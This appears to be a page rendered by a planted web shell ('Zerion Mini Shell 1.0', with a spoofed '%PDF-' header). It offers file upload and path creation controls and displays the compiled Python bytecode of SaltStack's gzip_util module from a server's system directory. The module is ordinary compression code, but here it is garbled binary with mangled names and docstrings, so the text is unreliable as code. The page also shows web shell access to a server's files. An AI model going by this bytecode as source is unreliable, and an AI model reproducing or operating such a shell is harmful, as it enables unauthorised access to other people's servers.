%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/utils/gzip_util.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlm	Z	ddl
mZdejfd��YZdd	d
�Z
dd	d�Zd	d�Zd
�Zd	dd�ZdS(up
    salt.utils.gzip
    ~~~~~~~~~~~~~~~
    Helper module for handling gzip consistently between 2.7+ and 2.6-
i(tabsolute_importtunicode_literalstprint_functionN(tsix(tBytesIOtGzipFilecB@s/eZddddd�Zd�Zd�ZRS(i	cC@s tjj|||||�dS(N(tgzipRt__init__(tselftfilenametmodet
compressleveltfileobj((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyRscC@s|S(u+Context management protocol.  Returns self.((R((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyt	__enter__scG@s|j�dS(u+Context management protocol.  Calls close()N(tclose(Rtargs((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyt__exit__sN(t__name__t
__module__tNoneRR
R(((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyRs	urbi	cC@s9ttjd�r%tj|||�St|||�SdS(Nu	__enter__(thasattrRRtopen(R	R
R((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyR$sc	C@sSttjd�r4tjddd|d|d|�Stddd|d|d|�S(Nu	__enter__R	uR
RR(RRR(RR
R((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pytopen_fileobj+s	cC@slt�}t|d|��?}tjrIt|t�rI|jt�}n|j|�WdQX|j	�}|S(u@
    Returns the data compressed at gzip level compression.
    uwbN(
RRRtPY3t
isinstancetbytestencodet__salt_system_encoding__twritetgetvalue(tdataRtbuftogzt
compressed((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pytcompress6s	cC@s8t|�}t|d��}|j�}|SWdQXdS(Nurb(RRtread(RRtigztunc((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyt
uncompressCsic	c@sy%t|�}||kr$t�nWntk
rDtd��nXz�x�||kr�t�}t|d|��g}y|j|j|��}WnAtk
r�tjj	j
|d�}|j|j|��}nXWdQX|j�VqKWWdy|j�Wntk
rnXXdS(u�
    Generator that reads chunk_size bytes at a time from a file/filehandle and
    yields the compressed result of each read.

    .. note::
        Each chunk is compressed separately. They cannot be stitched together
        to form a compressed file. This function is designed to break up a file
        into compressed chunks for transport and decompression/reassembly on a
        remote host.
    uchunk_size must be an integeruwburbN(
tintt
ValueErrorRRRR#tAttributeErrortsalttutilstfilestfopenRR(tfh_Rt
chunk_sizet
bytes_readRR ((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyt
compress_fileJs(

	
"
(t__doc__t
__future__RRRRtsalt.utils.filesR*tsalt.extRtsalt.ext.sixRRRRR"R&R1(((s8/usr/lib/python2.7/site-packages/salt/utils/gzip_util.pyt<module>s
	

Zerion Mini Shell 1.0